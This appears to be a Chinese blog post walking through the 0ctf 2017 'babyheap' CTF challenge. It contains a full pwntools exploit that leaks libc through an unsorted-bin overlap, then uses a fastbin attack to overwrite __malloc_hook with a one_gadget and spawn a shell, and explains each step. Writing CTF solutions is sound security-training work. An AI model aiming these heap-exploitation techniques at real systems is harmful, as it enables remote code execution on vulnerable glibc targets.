babyheap_0ctf_2017

入门的第一道堆题,配环境就搞了好几天,中间也是了解了不同的glibc对应的堆分配机制是不同的,写16的题最好还是用16的ubuntu。
这道题有利用到unsortbins attack,fastbin attack,leak libc等知识,这里我先放脚本,然后进行分析。

点击查看代码
from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
#context.log_level='debug'
#io=process("./babyheap_0ctf_2017")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io=remote("node4.buuoj.cn",29099)
libc=ELF("./libc-2.23.64-buu.so")
rl=lambda :io.recvline()
rn=lambda x:io.recvuntil(x)
sla=lambda x,y:io.sendlineafter(x,y)


def add(size):
    sla('Command: ','1')
    sla('Size: ',str(size))

def fill(index,content):
    sla('Command: ','2')
    sla('Index: ',str(index))
    sla('Size: ',str(len(content)))
    sla('Content: ',content)

def free(index):
    sla('Command: ','3')
    sla('Index: ',str(index))

def dump(index):
    sla('Command: ','4')
    sla('Index: ',str(index))
    rn("Content: \n")


add(0x80)#0
add(0x80)#1
add(0x80)#2
add(0x80)#3

free(1)
fill(0,'a'*(0x80+8)+p64(0x120+1))
add(0x110)#1
fill(1,'a'*(0x80+8)+p64(0x90+1))
free(2)
dump(1)
io.recv(0x90+8)
malloc_hook=u64(io.recv(8))-0x58-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
execve_addr=libcbase+0x4526a
#execve_addr=libcbase+0x4527a
add(0x80)#2
#gdb.attach(io)
add(0x60)#4
add(0x60)#5
free(5)
fill(4,'a'*(0x60+8)+p64(0x70+1)+p64(malloc_hook-0x23)+p64(0))
add(0x60)#5
add(0x60)#6
fill(6,'a'*0x13+p64(execve_addr))
add(0x10)
io.interactive()
首先libc和io一定要对应上,这里你后面用one_gadget是本地的软链接和远程是不一样的。
点击查看代码
rl=lambda :io.recvline()
rn=lambda x:io.recvuntil(x)
sla=lambda x,y:io.sendlineafter(x,y)
这里用上lambda表达式,虽然我没有好好学,但是这里语法应该是简单的,一看就懂。
点击查看代码
def add(size):
    sla('Command: ','1')
    sla('Size: ',str(size))

def fill(index,content):
    sla('Command: ','2')
    sla('Index: ',str(index))
    sla('Size: ',str(len(content)))
    sla('Content: ',content)

def free(index):
    sla('Command: ','3')
    sla('Index: ',str(index))

def dump(index):
    sla('Command: ','4')
    sla('Index: ',str(index))
    rn("Content: \n")
因为我们写堆题这个是一个菜单题,需要多次调用各个函数,最好就是写对应的函数,方便后续操作。
点击查看代码
add(0x80)#0
add(0x80)#1
add(0x80)#2
add(0x80)#3

free(1)
fill(0,'a'*(0x80+8)+p64(0x120+1))
add(0x110)#1
fill(1,'a'*(0x80+8)+p64(0x90+1))
free(2)
dump(1)
io.recv(0x90+8)
malloc_hook=u64(io.recv(8))-0x58-0x10
这里就是核心的unsortbin attack了 首先add四个大小为0x91的chunk

image

为什么是0x91,因为我们clloc是0x80但是,还有0x10的prev size和 size另外p位也是占了一个1.
然后我们free(1)
这样我们就有了一个free chunk
fill(0,'a'(0x80+8)+p64(0x120+1))
接着我们从第0个chunk去填充,全部用a去填满
chunk1的prev size用a去填满,然后size用p64(0x120+1)去填,这样的话,我们的free chunk变成了两倍的0x90,0x120。
然后我们add(0x110),这里我们用的是colloc,会清零所有数据,我们刚刚拿到的free chunk刚刚好被用上,但是2号位的指针还在,这里不要搞混。
fill(1,'a'
(0x80+8)+p64(0x90+1))
一样的,我们又修改了2号位chunk的size
然后free了chunk2,经过刚刚的操作,我们的chunk1指向了chunk2,然后chunk2是唯一的free chunk
会在unsortbin里,然后unsortbin的结构是一个双向链表,fd,bk都会指向arena+0x58的位置,这里是固定的,libc2.23都是一样的。
然后我们dump(1)就可以了,就可以接受到这里的地址。
io.recv(0x90+8)
malloc_hook=u64(io.recv(8))-0x58-0x10
这里讲一个结构

image

看到这里这个图,我们可以看到中间是固定的差了这么多的位置,然后malloc_addr是什么呢,他就是malloc使用后会自动调用,调用之后会自动指向一个函数进行调用。我们如果知道了它的地址,然后我们把它修改成shell的系统调用,就可以完成攻击,刚刚我们那么久就是为了得到他的位置。

点击查看代码
libcbase=malloc_hook-libc.sym['__malloc_hook']
execve_addr=libcbase+0x4526a
这里用了one_gadget去获得一个偏移量,然后加上了libc的base,这也是刚刚计算出来的。
点击查看代码
execve_addr=libcbase+0x4526a
#execve_addr=libcbase+0x4527a
add(0x80)#2
#gdb.attach(io)
add(0x60)#4
add(0x60)#5
free(5)
fill(4,'a'*(0x60+8)+p64(0x70+1)+p64(malloc_hook-0x23)+p64(0))
add(0x60)#5
add(0x60)#6
fill(6,'a'*0x13+p64(execve_addr))
add(0x10)
io.interactive()
这里是fastbin attack 我们首先add(0x80)回去,让之前的四个chunk都变成malloc chunk,然后我们再开两个小的chunk就是可以free进fastbins里的chunk add(0x60)#4 add(0x60)#5 然后我们free掉5号位的chunk fill(4,'a'*(0x60+8)+p64(0x70+1)+p64(malloc_hook-0x23)+p64(0)) 然后把它修改成fd指向malloc_hook-0x23的位置,这样系统就会以为有一块多的free chunk在malloc_hook-0x23的位置,只要我们再add一次,就是这里补上 add(0x60)#5 add(0x60)#6 于是就是这么干,然后我们就定位这里并且可以对他修改了 fill(6,'a'*0x13+p64(execve_addr)) 再调用一次molloc add(0x10) 结束
posted @ 2022-07-20 22:26  REPWNER  阅读(9)  评论(0)    收藏  举报